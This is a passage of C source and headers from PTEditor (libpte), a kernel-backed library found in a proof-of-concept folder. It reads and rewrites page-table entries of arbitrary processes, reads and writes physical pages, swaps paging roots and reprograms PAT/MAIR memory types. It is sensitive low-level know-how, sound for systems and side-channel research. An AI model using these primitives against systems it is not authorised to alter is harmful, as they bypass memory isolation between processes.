/* Fall through */ case 10: /* Fall through */ case 11: strcat(mts, "WT"); break; case 12: /* Fall through */ case 13: /* Fall through */ case 14: /* Fall through */ case 15: strcat(mts, "WB"); } } return mts; #endif } // --------------------------------------------------------------------------- void ptedit_set_mts(size_t mts) { #if defined(LINUX) ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_SET_PAT, mts); #else DWORD returnLength; DeviceIoControl(ptedit_fd, PTEDITOR_GET_PAT, (LPVOID)&mts, sizeof(mts), (LPVOID)&mts, sizeof(mts), &returnLength, 0); #endif } // --------------------------------------------------------------------------- void ptedit_set_mt(unsigned char mt, unsigned char value) { size_t mts = ptedit_get_mts(); #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) mts &= ~(7 << (mt * 8)); #elif defined(__aarch64__) mts &= ~(0xff << (mt * 8)); #endif mts |= ((size_t)value << (mt * 8)); ptedit_set_mts(mts); } // --------------------------------------------------------------------------- unsigned char ptedit_find_mt(unsigned char type) { size_t mts = ptedit_get_mts(); unsigned char found = 0; int i; for (i = 0; i < 8; i++) { #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) if (((mts >> (i * 8)) & 7) == type) found |= (1 << i); #elif defined(__aarch64__) if (((mts >> (i * 8)) & 0xff) == type) { found |= (1 << i); } else { unsigned char plow, phigh; plow = (mts >> (i * 8)) & 0xf; phigh = ((mts >> (i * 8)) >> 4) & 0xf; if ((plow == phigh) && (plow == type)) { found |= (1 << i); } } #endif } return found; } // --------------------------------------------------------------------------- int ptedit_find_first_mt(unsigned char type) { #if defined(LINUX) return __builtin_ffs(ptedit_find_mt(type)) - 1; #else DWORD index = 0; if (BitScanForward64(&index, ptedit_find_mt(type))) { return index; } else { return -1; } #endif } // --------------------------------------------------------------------------- size_t ptedit_apply_mt(size_t entry, unsigned char mt) { #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) entry &= ~((1ull << PTEDIT_PAGE_BIT_PWT) | (1ull << PTEDIT_PAGE_BIT_PCD) | (1ull << PTEDIT_PAGE_BIT_PAT)); if (mt & 1) entry |= (1ull << PTEDIT_PAGE_BIT_PWT); if (mt & 2) entry |= (1ull << PTEDIT_PAGE_BIT_PCD); if (mt & 4) entry |= (1ull << PTEDIT_PAGE_BIT_PAT); #elif defined(__aarch64__) entry &= ~0x1c; entry |= (mt & 7) << 2; #endif return entry; } // --------------------------------------------------------------------------- unsigned char ptedit_extract_mt(size_t entry) { #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) return (!!(entry & (1ull << PTEDIT_PAGE_BIT_PWT))) | ((!!(entry & (1ull << PTEDIT_PAGE_BIT_PCD))) << 1) | ((!!(entry & (1ull << PTEDIT_PAGE_BIT_PAT))) << 2); #elif defined(__aarch64__) return (entry >> 2) & 7; #endif } // --------------------------------------------------------------------------- void ptedit_full_serializing_barrier() { #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) #if defined(LINUX) asm volatile("mfence\nlfence\n" ::: "memory"); #else MemoryBarrier(); #endif #elif defined(__aarch64__) asm volatile("DSB SY"); asm volatile("DSB ISH"); asm volatile("ISB"); #endif ptedit_set_paging_root(0, ptedit_get_paging_root(0)); #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) #if defined(LINUX) asm volatile("mfence\nlfence\n" ::: "memory"); #else MemoryBarrier(); #endif #elif defined(__aarch64__) asm volatile("ISB"); asm volatile("DSB ISH"); asm volatile("DSB SY"); #endif } // --------------------------------------------------------------------------- void ptedit_pte_set_bit(void* address, pid_t pid, int bit) { ptedit_entry_t vm = ptedit_resolve(address, pid); if (!(vm.valid & PTEDIT_VALID_MASK_PTE)) return; vm.pte |= (1ull << bit); vm.valid = PTEDIT_VALID_MASK_PTE; ptedit_update(address, pid, &vm); } // --------------------------------------------------------------------------- void ptedit_pte_clear_bit(void* address, pid_t pid, int bit) { ptedit_entry_t vm = ptedit_resolve(address, pid); if (!(vm.valid & PTEDIT_VALID_MASK_PTE)) return; vm.pte &= ~(1ull << bit); vm.valid = PTEDIT_VALID_MASK_PTE; ptedit_update(address, pid, &vm); } // --------------------------------------------------------------------------- unsigned char ptedit_pte_get_bit(void* address, pid_t pid, int bit) { ptedit_entry_t vm = ptedit_resolve(address, pid); return !!(vm.pte & (1ull << bit)); } // --------------------------------------------------------------------------- size_t ptedit_pte_get_pfn(void* address, pid_t pid) { ptedit_entry_t vm = ptedit_resolve(address, pid); if (!(vm.valid & PTEDIT_VALID_MASK_PTE)) return 0; else return ptedit_get_pfn(vm.pte); } // --------------------------------------------------------------------------- void ptedit_pte_set_pfn(void* address, pid_t pid, size_t pfn) { ptedit_entry_t vm = ptedit_resolve(address, pid); if (!(vm.valid & PTEDIT_VALID_MASK_PTE)) return; vm.pte = ptedit_set_pfn(vm.pte, pfn); vm.valid = PTEDIT_VALID_MASK_PTE; ptedit_update(address, pid, &vm); } ================================================ FILE: pocs/libpte/ptedit.h ================================================ /** @file */ #ifndef _PTEDITOR_H_ #define _PTEDITOR_H_ #include "module/pteditor.h" #include #if defined(WINDOWS) typedef size_t pid_t; #endif /** * The implementation of PTEditor to use * * @defgroup PTEDITOR_IMPLEMENTATION PTEditor Implementation * * @{ */ /** Use the kernel to resolve and update paging structures */ #define PTEDIT_IMPL_KERNEL 0 /** Use the user-space implemenation to resolve and update paging structures, using pread to read from the memory mapping */ #define PTEDIT_IMPL_USER_PREAD 1 /** Use the user-space implemenation that maps the physical memory into user space to resolve and update paging structures */ #define PTEDIT_IMPL_USER 2 /** * The bits in a page-table entry * * @defgroup PAGETABLE_BITS Page Table Bits * * @{ * */ #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) /** Page is present */ #define PTEDIT_PAGE_BIT_PRESENT 0 /** Page is writeable */ #define PTEDIT_PAGE_BIT_RW 1 /** Page is userspace addressable */ #define PTEDIT_PAGE_BIT_USER 2 /** Page write through */ #define PTEDIT_PAGE_BIT_PWT 3 /** Page cache disabled */ #define PTEDIT_PAGE_BIT_PCD 4 /** Page was accessed (raised by CPU) */ #define PTEDIT_PAGE_BIT_ACCESSED 5 /** Page was written to (raised by CPU) */ #define PTEDIT_PAGE_BIT_DIRTY 6 /** 4 MB (or 2MB) page */ #define PTEDIT_PAGE_BIT_PSE 7 /** PAT (only on 4KB pages) */ #define PTEDIT_PAGE_BIT_PAT 7 /** Global TLB entry PPro+ */ #define PTEDIT_PAGE_BIT_GLOBAL 8 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW1 9 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW2 10 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW3 11 /** PAT (on 2MB or 1GB pages) */ #define PTEDIT_PAGE_BIT_PAT_LARGE 12 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW4 58 /** Protection Keys, bit 1/4 */ #define PTEDIT_PAGE_BIT_PKEY_BIT0 59 /** Protection Keys, bit 2/4 */ #define PTEDIT_PAGE_BIT_PKEY_BIT1 60 /** Protection Keys, bit 3/4 */ #define PTEDIT_PAGE_BIT_PKEY_BIT2 61 /** Protection Keys, bit 4/4 */ #define PTEDIT_PAGE_BIT_PKEY_BIT3 62 /** No execute: only valid after cpuid check */ #define PTEDIT_PAGE_BIT_NX 63 #elif defined(__aarch64__) /** Entry type 1/2 */ #define PTEDIT_PAGE_BIT_TYPE_BIT0 0 /** Entry type 1/2 */ #define PTEDIT_PAGE_BIT_TYPE_BIT1 1 /** Memory attribute index 1/3 */ #define PTEDIT_PAGE_BIT_MAIR_BIT0 2 /** Memory attribute index 2/3 */ #define PTEDIT_PAGE_BIT_MAIR_BIT1 3 /** Memory attribute index 3/3 */ #define PTEDIT_PAGE_BIT_MAIR_BIT2 4 /** Page is non-secure */ #define PTEDIT_PAGE_BIT_NON_SECURE 5 /** Page permissions 1/2 */ #define PTEDIT_PAGE_BIT_PERMISSION_BIT0 6 /** Page permissions 2/2 */ #define PTEDIT_PAGE_BIT_PERMISSION_BIT1 7 /** Shareability domain 1/2 */ #define PTEDIT_PAGE_BIT_SHARE_BIT0 8 /** Shareability domain 2/2 */ #define PTEDIT_PAGE_BIT_SHARE_BIT1 9 /** Page was accessed (raised by CPU) */ #define PTEDIT_PAGE_BIT_ACCESSED 10 /** Page is not global */ #define PTEDIT_PAGE_BIT_NOT_GLOBAL 11 /** Contiguous */ #define PTEDIT_PAGE_BIT_CONTIGUOUS 52 /** Privileged execute never */ #define PTEDIT_PAGE_BIT_PXN 53 /** Execute never */ #define PTEDIT_PAGE_BIT_XN 54 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW1 55 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW2 56 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW3 57 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW4 58 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW5 59 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW6 60 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW7 61 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW8 62 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW9 63 #endif /** @} */ /** * The memory types (PAT/MAIR)values * * @defgroup MEMORY_TYPES Memory Types (PAT/MAIR values) * * @{ */ #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) /** Strong uncachable (nothing is cached) */ #define PTEDIT_MT_UC 0 /** Write combining (consecuite writes are combined in a WC buffer and then written once) */ #define PTEDIT_MT_WC 1 /** Write through (read accesses are cached, write access are written to cache and memory) */ #define PTEDIT_MT_WT 4 /** Write protected (only read access is cached) */ #define PTEDIT_MT_WP 5 /** Write back (read and write accesses are cached) */ #define PTEDIT_MT_WB 6 /** Uncachable (as UC, but can be changed to WC through MTRRs) */ #define PTEDIT_MT_UCMINUS 7 #elif defined(__aarch64__) /** Strong uncachable (nothing is cached) */ #define PTEDIT_MT_UC 0x44 /** Write through (read accesses are cached, write access are written to cache and memory) */ #define PTEDIT_MT_WT 0xbb /** Write back (read and write accesses are cached) */ #define PTEDIT_MT_WB 0xff #endif /** @} */ /** * Basic functionality required in every program * * @defgroup BASIC Basic Functionality * * @{ */ /** * Initializes (and acquires) PTEditor kernel module * * @return 0 Initialization was successful * @return -1 Initialization failed */ int ptedit_init(); /** * Releases PTEditor kernel module * */ void ptedit_cleanup(); /** * Switch between kernel and user-space implementation * * @param[in] implementation The implementation to use, either PTEDIT_IMPL_KERNEL, PTEDIT_IMPL_USER, or PTEDIT_IMPL_USER_PREAD * */ void ptedit_use_implementation(int implementation); /** @} */ /** * Functions to read and write page tables * * @defgroup PAGETABLE Page tables * * @{ */ typedef ptedit_entry_t(*ptedit_resolve_t)(void*, pid_t); typedef void (*ptedit_update_t)(void*, pid_t, ptedit_entry_t*); /** * Resolves the page-table entries of all levels for a virtual address of a given process. * * @param[in] address The virtual address to resolve * @param[in] pid The pid of the process (0 for own process) * * @return A structure containing the page-table entries of all levels. */ ptedit_resolve_t ptedit_resolve; /** * Updates one or more page-table entries for a virtual address of a given process. * The TLB for the given address is flushed after updating the entries. * * @param[in] address The virtual address * @param[in] pid The pid of the process (0 for own process) * @param[in] vm A structure containing the values for the page-table entries and a bitmask indicating which entries to update * */ ptedit_update_t ptedit_update; /** * Sets a bit directly in the PTE of an address. * * @param[in] address The virtual address * @param[in] pid The pid of the process (0 for own process) * @param[in] bit The bit to set (one of PTEDIT_PAGE_BIT_*) * */ void ptedit_pte_set_bit(void* address, pid_t pid, int bit); /** * Clears a bit directly in the PTE of an address. * * @param[in] address The virtual address * @param[in] pid The pid of the process (0 for own process) * @param[in] bit The bit to clear (one of PTEDIT_PAGE_BIT_*) * */ void ptedit_pte_clear_bit(void* address, pid_t pid, int bit); /** * Returns the value of a bit directly from the PTE of an address. * * @param[in] address The virtual address * @param[in] pid The pid of the process (0 for own process) * @param[in] bit The bit to get (one of PTEDIT_PAGE_BIT_*) * * @return The value of the bit (0 or 1) * */ unsigned char ptedit_pte_get_bit(void* address, pid_t pid, int bit); /** * Reads the PFN directly from the PTE of an address. * * @param[in] address The virtual address * @param[in] pid The pid of the process (0 for own process) * * @return The page-frame number (PFN) * */ size_t ptedit_pte_get_pfn(void* address, pid_t pid); /** * Sets the PFN directly in the PTE of an address. * * @param[in] address The virtual address * @param[in] pid The pid of the process (0 for own process) * @param[in] pfn The new page-frame number (PFN) * */ void ptedit_pte_set_pfn(void* address, pid_t pid, size_t pfn); #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) #define PTEDIT_PAGE_PRESENT 1 /** * Struct to access the fields of the PGD */ #pragma pack(push,1) typedef struct { size_t present : 1; size_t writeable : 1; size_t user_access : 1; size_t write_through : 1; size_t cache_disabled : 1; size_t accessed : 1; size_t ignored_3 : 1; size_t size : 1; size_t ignored_2 : 4; size_t pfn : 28; size_t reserved_1 : 12; size_t ignored_1 : 11; size_t execution_disabled : 1; } ptedit_pgd_t; #pragma pack(pop) /** * Struct to access the fields of the P4D */ typedef ptedit_pgd_t ptedit_p4d_t; /** * Struct to access the fields of the PUD */ typedef ptedit_pgd_t ptedit_pud_t; /** * Struct to access the fields of the PMD */ typedef ptedit_pgd_t ptedit_pmd_t; /** * Struct to access the fields of the PMD when mapping a large page (2MB) */ #pragma pack(push,1) typedef struct { size_t present : 1; size_t writeable : 1; size_t user_access : 1; size_t write_through : 1; size_t cache_disabled : 1; size_t accessed : 1; size_t dirty : 1; size_t size : 1; size_t global : 1; size_t ignored_2 : 3; size_t pat : 1; size_t reserved_2 : 8; size_t pfn : 19; size_t reserved_1 : 12; size_t ignored_1 : 11; size_t execution_disabled : 1; } ptedit_pmd_large_t; #pragma pack(pop) /** * Struct to access the fields of the PTE */ #pragma pack(push,1) typedef struct { size_t present : 1; size_t writeable : 1; size_t user_access : 1; size_t write_through : 1; size_t cache_disabled : 1; size_t accessed : 1; size_t dirty : 1; size_t size : 1; size_t global : 1; size_t ignored_2 : 3; size_t pfn : 28; size_t reserved_1 : 12; size_t ignored_1 : 11; size_t execution_disabled : 1; } ptedit_pte_t; #pragma pack(pop) #elif defined(__aarch64__) #define PTEDIT_PAGE_PRESENT 3 /** * Struct to access the fields of the PGD */ typedef struct { size_t present : 2; size_t ignored_1 : 10; size_t pfn : 36; size_t reserved : 4; size_t ignored_2 : 7; size_t pxn_table : 1; size_t xn_table : 1; size_t ap_table : 2; size_t ns_table : 1; }__attribute__((__packed__)) ptedit_pgd_t; /** * Struct to access the fields of the P4D */ typedef ptedit_pgd_t ptedit_p4d_t; /** * Struct to access the fields of the PUD */ typedef ptedit_pgd_t ptedit_pud_t; /** * Struct to access the fields of the PMD */ typedef ptedit_pgd_t ptedit_pmd_t; /** * Struct to access the fields of the PGD when mapping a large page */ typedef struct { size_t present : 2; size_t memory_attributes_index : 3; size_t non_secure : 1; size_t access_permissions : 2; size_t shareability_field : 2; size_t access_flag : 1; size_t not_global : 1; size_t reserved_1 : 18; size_t pfn : 18; size_t reserved_2 : 4; size_t contiguous : 1; size_t privileged_execute_never : 1; size_t execute_never : 1; size_t ingored_1 : 4; size_t ignored_2 : 5; }__attribute__((__packed__)) ptedit_pgd_large_t; /** * Struct to access the fields of the PMD when mapping a large page */ typedef struct { size_t present : 2; size_t memory_attributes_index : 3; size_t non_secure : 1; size_t access_permissions : 2; size_t shareability_field : 2; size_t access_flag : 1; size_t not_global : 1; size_t reserved_1 : 9; size_t pfn : 27; size_t reserved_2 : 4; size_t contiguous : 1; size_t privileged_execute_never : 1; size_t execute_never : 1; size_t ingored_1 : 4; size_t ignored_2 : 5; }__attribute__((__packed__)) ptedit_pmd_large_t; /** * Struct to access the fields of the PTE */ typedef struct { size_t present : 2; size_t memory_attributes_index : 3; size_t non_secure : 1; size_t access_permissions : 2; size_t shareability_field : 2; size_t access_flag : 1; size_t not_global : 1; size_t pfn : 36; size_t reserved_1 : 4; size_t contiguous : 1; size_t privileged_execute_never : 1; size_t execute_never : 1; size_t ingored_1 : 4; size_t ignored_2 : 5; }__attribute__((__packed__)) ptedit_pte_t; #endif /** * Casts a paging structure entry (e.g., page table) to a structure with easy access to its fields * * @param[in] v Entry to Cast * @param[in] type Data type of struct to cast to, e.g., ptedit_pte_t * * @return Struct of type "type" with easily accessible fields */ #define ptedit_cast(v, type) (*((type*)(&(v)))) /** @} */ /** * General system info * * @defgroup SYSTEMINFO System info * * @{ */ /** * Returns the default page size of the system * * @return Page size of the system in bytes */ int ptedit_get_pagesize(); /** @} */ /** * Get and set page frame numbers * * @defgroup PFN Page frame numbers (PFN) * * @{ */ /** * Returns a new page-table entry where the page-frame number (PFN) is replaced by the specified one. * * @param[in] entry The page-table entry to modify * @param[in] pfn The new page-frame number (PFN) * * @return A new page-table entry with the given page-frame number */ size_t ptedit_set_pfn(size_t entry, size_t pfn); /** * Returns the page-frame number (PFN) of a page-table entry. * * @param[in] entry The page-table entry to extract the PFN from * * @return The page-frame number */ size_t ptedit_get_pfn(size_t entry); /** @} */ /** * Reading and writing of physical pages * * @defgroup PHYSICALPAGE Physical pages * * @{ */ /** * Retrieves the content of a physical page. * * @param[in] pfn The page-frame number (PFN) of the page to read * @param[out] buffer A buffer which is large enough to hold the content of the page * */ void ptedit_read_physical_page(size_t pfn, char* buffer); /** * Replaces the content of a physical page. * * @param[in] pfn The page-frame number (PFN) of the page to update * @param[in] content A buffer containing the new content of the page (must be the size of a physical page) * */ void ptedit_write_physical_page(size_t pfn, char* content); /** * Map a physical address range. * * @param[in] physical The physical address to map * @param[in] length The length of the physical memory range to map * * @return A virtual address that can be used to access the physical range */ void* ptedit_pmap(size_t physical, size_t length); /** @} */ /** * Read and modify the root of paging structure * * @defgroup PAGING Paging * * @{ */ /** * Returns the root of the paging structure (i.e., CR3 on x86 and TTBR0 on ARM). * * @param[in] pid The proccess id (0 for own process) * * @return The phyiscal address (not PFN!) of the first page table (i.e., the PGD) * */ size_t ptedit_get_paging_root(pid_t pid); /** * Sets the root of the paging structure (i.e., CR3 on x86 and TTBR0 on ARM). * * @param[in] pid The proccess id (0 for own process) * @param[in] root The physical address (not PFN!) of the first page table (i.e., the PGD) * */ void ptedit_set_paging_root(pid_t pid, size_t root); /** @} */ /** * Invalidations and barriers * * @defgroup BARRIERS TLB/Barriers * * @{ */ /** * Invalidates the TLB for a given address on all CPUs. * * @param[in] address The address to invalidate * */ void ptedit_invalidate_tlb(void* address); /** * Change the method used for flushing the TLB (either kernel or custom function) * * @param[in] implementation The implementation to use, either PTEDITOR_TLB_INVALIDATION_KERNEL or PTEDITOR_TLB_INVALIDATION_CUSTOM * * @return 0 on success, -1 on failure */ int ptedit_switch_tlb_invalidation(int implementation); /** * A full serializing barrier which stops everything. * */ void ptedit_full_serializing_barrier(); /** @} */ /** * Memory types (x86 PATs / ARM MAIR) * * @defgroup MTS Memory types (PATs / MAIR) * * @{ */ /** * Reads the value of all memory types (x86 PATs / ARM MAIRs). This is equivalent to reading the MSR 0x277 (x86) / MAIR_EL1 (ARM). * * @return The memory types in the same format as in the IA32_PAT MSR / MAIR_EL1 * */ size_t ptedit_get_mts(); /** * Programs the value of all memory types (x86 PATs / ARM MAIRs). This is equivalent to writing to the MSR 0x277 (x86) / MAIR_EL1 (ARM) on all CPUs. * * @param[in] mts The memory types in the same format as in the IA32_PAT MSR / MAIR_EL1 * */ void ptedit_set_mts(size_t mts); /** * Reads the value of a specific memory type attribute (PAT/MAIR). * * @param[in] mt The PAT/MAIR ID (from 0 to 7) * * @return The PAT/MAIR value (can be one of PTEDIT_MT_*) * */ char ptedit_get_mt(unsigned char mt); /** * Programs the value of a specific memory type attribute (PAT/MAIR). * * @param[in] mt The PAT/MAIR ID (from 0 to 7) * @param[in] value The PAT/MAIR value (can be one of PTEDIT_MT_*) * */ void ptedit_set_mt(unsigned char mt, unsigned char value); /** * Generates a bitmask of all memory type attributes (PAT/MAIR) which are programmed to the given value. * * @param[in] type A memory type, i.e., PAT/MAIR value (one of PTEDIT_MT_*) * * @return A bitmask where a set bit indicates that the corresponding PAT/MAIR has the given type * */ unsigned char ptedit_find_mt(unsigned char type); /** * Returns the first memory type attribute (PAT/MAIR) which is programmed to the given memory type. * * @param[in] type A memory type, i.e., PAT/MAIR value (one of PTEDIT_MT_*) * * @return A PAT/MAIR ID, or -1 if no PAT/MAIR of this type was found * */ int ptedit_find_first_mt(unsigned char type); /** * Returns a new page-table entry which uses the given memory type (PAT/MAIR). * * @param[in] entry A page-table entry * @param[in] mt A PAT/MAIR ID (between 0 and 7) * * @return A new page-table entry with the given memory type (PAT/MAIR) * */ size_t ptedit_apply_mt(size_t entry, unsigned char mt); /** * Returns the memory type (i.e., PAT/MAIR ID) which is used by a page-table entry. * * @param[in] entry A page-table entry * * @return A PAT/MAIR ID (between 0 and 7) * */ unsigned char ptedit_extract_mt(size_t entry); /** * Returns a human-readable representation of a memory type (PAT/MAIR value). * * @param[in] mt A memory type (PAT/MAIR value, e.g., one of PTEDIT_MT_*) * * @return A human-readable representation of the memory type * */ const char* ptedit_mt_to_string(unsigned char mt); /** @} */ /** * Pretty print * * @defgroup PRETTYPRINT Pretty print * * @{ */ /** * Pretty prints a ptedit_entry_t struct. * * @param[in] entry A ptedit_entry_t struct * */ void ptedit_print_entry_t(ptedit_entry_t entry); /** * Pretty prints a page-table entry. * * @param[in] entry A page-table entry * */ void ptedit_print_entry(size_t entry); /** * Prints a single line of the pretty-print representation of a page-table entry. * * @param[in] entry A page-table entry * @param[in] line The line to print (0 to 3) * */ void ptedit_print_entry_line(size_t entry, int line); /** @} */ #endif ================================================ FILE: pocs/libpte/ptedit_header.h ================================================ // Warning: this file was generated by make. DO NOT EDIT! /* See LICENSE file for license and copyright information */ #ifndef PTEDITOR_MODULE_H #define PTEDITOR_MODULE_H #if defined(__linux__) || defined(__linux) || defined(__unix__) || defined(LINUX) || defined(UNIX) #define LINUX #endif #if defined(_WIN32) || defined(_WIN64) || defined(__MINGW32__) || defined(__CYGWIN__) #define WINDOWS #undef LINUX #endif #include #if defined(LINUX) #define PTEDITOR_DEVICE_NAME "pteditor" #define PTEDITOR_DEVICE_PATH "/dev/" PTEDITOR_DEVICE_NAME #else #define PTEDITOR_DEVICE_NAME L"PTEditorLink" #define PTEDITOR_DEVICE_PATH L"\\\\.\\" PTEDITOR_DEVICE_NAME #endif /** * Structure containing the page-table entries of all levels. * The Linux names are aliased with the Intel names. */ typedef struct { /** Process ID */ size_t pid; /** Virtual address */ size_t vaddr; /** Page global directory / Page map level 5 */ union { size_t pgd; size_t pml5; }; /** Page directory 4 / Page map level 4 */ union { size_t p4d; size_t pml4; }; /** Page upper directory / Page directory pointer table */ union { size_t pud; size_t pdpt; }; /** Page middle directory / Page directory */ union { size_t pmd; size_t pd; }; /** Page table entry */ size_t pte; /** Bitmask indicating which entries are valid/should be updated */ size_t valid; } ptedit_entry_t; /** * Structure to read/write physical pages */ #if defined(LINUX) typedef struct { /** Page-frame number */ size_t pfn; /** Virtual address */ size_t vaddr; /** Page size */ size_t size; /** Page content */ unsigned char* buffer; } ptedit_page_t; #else __pragma(pack(push, 1)) typedef struct { char content[4096]; size_t paddr; } ptedit_page_t; __pragma(pack(pop)) #endif /** * Structure to get/set the root of paging */ typedef struct { /** Process id */ size_t pid; /** Physical address of paging root */ size_t root; } ptedit_paging_t; #define PTEDIT_VALID_MASK_PGD (1<<0) #define PTEDIT_VALID_MASK_P4D (1<<1) #define PTEDIT_VALID_MASK_PUD (1<<2) #define PTEDIT_VALID_MASK_PMD (1<<3) #define PTEDIT_VALID_MASK_PTE (1<<4) #define PTEDITOR_TLB_INVALIDATION_KERNEL 0 #define PTEDITOR_TLB_INVALIDATION_CUSTOM 1 #if defined(LINUX) #define PTEDITOR_IOCTL_MAGIC_NUMBER (long)0x3d17 #define PTEDITOR_IOCTL_CMD_VM_RESOLVE \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 1, size_t) #define PTEDITOR_IOCTL_CMD_VM_UPDATE \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 2, size_t) #define PTEDITOR_IOCTL_CMD_VM_LOCK \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 3, size_t) #define PTEDITOR_IOCTL_CMD_VM_UNLOCK \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 4, size_t) #define PTEDITOR_IOCTL_CMD_READ_PAGE \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 5, size_t) #define PTEDITOR_IOCTL_CMD_WRITE_PAGE \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 6, size_t) #define PTEDITOR_IOCTL_CMD_GET_ROOT \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 7, size_t) #define PTEDITOR_IOCTL_CMD_SET_ROOT \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 8, size_t) #define PTEDITOR_IOCTL_CMD_GET_PAGESIZE \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 9, size_t) #define PTEDITOR_IOCTL_CMD_INVALIDATE_TLB \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 10, size_t) #define PTEDITOR_IOCTL_CMD_GET_PAT \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 11, size_t) #define PTEDITOR_IOCTL_CMD_SET_PAT \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 12, size_t) #define PTEDITOR_IOCTL_CMD_SWITCH_TLB_INVALIDATION \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 13, size_t) #else #define PTEDITOR_READ_PAGE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) #define PTEDITOR_WRITE_PAGE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_READ_DATA) #define PTEDITOR_GET_CR3 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS) #define PTEDITOR_FLUSH_TLB CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS) #define PTEDITOR_READ_PHYS_VAL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS) #define PTEDITOR_WRITE_PHYS_VAL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_BUFFERED, FILE_ANY_ACCESS) #define PTEDITOR_SET_CR3 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_BUFFERED, FILE_ANY_ACCESS) #define PTEDITOR_SET_PAT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_BUFFERED, FILE_ANY_ACCESS) #define PTEDITOR_GET_PAT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_BUFFERED, FILE_ANY_ACCESS) #endif #endif // PTEDITOR_MODULE_H /** @file */ #ifndef _PTEDITOR_H_ #define _PTEDITOR_H_ #include #if defined(WINDOWS) typedef size_t pid_t; #endif /** * The implementation of PTEditor to use * * @defgroup PTEDITOR_IMPLEMENTATION PTEditor Implementation * * @{ */ /** Use the kernel to resolve and update paging structures */ #define PTEDIT_IMPL_KERNEL 0 /** Use the user-space implemenation to resolve and update paging structures, using pread to read from the memory mapping */ #define PTEDIT_IMPL_USER_PREAD 1 /** Use the user-space implemenation that maps the physical memory into user space to resolve and update paging structures */ #define PTEDIT_IMPL_USER 2 /** * The bits in a page-table entry * * @defgroup PAGETABLE_BITS Page Table Bits * * @{ * */ #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) /** Page is present */ #define PTEDIT_PAGE_BIT_PRESENT 0 /** Page is writeable */ #define PTEDIT_PAGE_BIT_RW 1 /** Page is userspace addressable */ #define PTEDIT_PAGE_BIT_USER 2 /** Page write through */ #define PTEDIT_PAGE_BIT_PWT 3 /** Page cache disabled */ #define PTEDIT_PAGE_BIT_PCD 4 /** Page was accessed (raised by CPU) */ #define PTEDIT_PAGE_BIT_ACCESSED 5 /** Page was written to (raised by CPU) */ #define PTEDIT_PAGE_BIT_DIRTY 6 /** 4 MB (or 2MB) page */ #define PTEDIT_PAGE_BIT_PSE 7 /** PAT (only on 4KB pages) */ #define PTEDIT_PAGE_BIT_PAT 7 /** Global TLB entry PPro+ */ #define PTEDIT_PAGE_BIT_GLOBAL 8 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW1 9 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW2 10 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW3 11 /** PAT (on 2MB or 1GB pages) */ #define PTEDIT_PAGE_BIT_PAT_LARGE 12 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW4 58 /** Protection Keys, bit 1/4 */ #define PTEDIT_PAGE_BIT_PKEY_BIT0 59 /** Protection Keys, bit 2/4 */ #define PTEDIT_PAGE_BIT_PKEY_BIT1 60 /** Protection Keys, bit 3/4 */ #define PTEDIT_PAGE_BIT_PKEY_BIT2 61 /** Protection Keys, bit 4/4 */ #define PTEDIT_PAGE_BIT_PKEY_BIT3 62 /** No execute: only valid after cpuid check */ #define PTEDIT_PAGE_BIT_NX 63 #elif defined(__aarch64__) /** Entry type 1/2 */ #define PTEDIT_PAGE_BIT_TYPE_BIT0 0 /** Entry type 1/2 */ #define PTEDIT_PAGE_BIT_TYPE_BIT1 1 /** Memory attribute index 1/3 */ #define PTEDIT_PAGE_BIT_MAIR_BIT0 2 /** Memory attribute index 2/3 */ #define PTEDIT_PAGE_BIT_MAIR_BIT1 3 /** Memory attribute index 3/3 */ #define 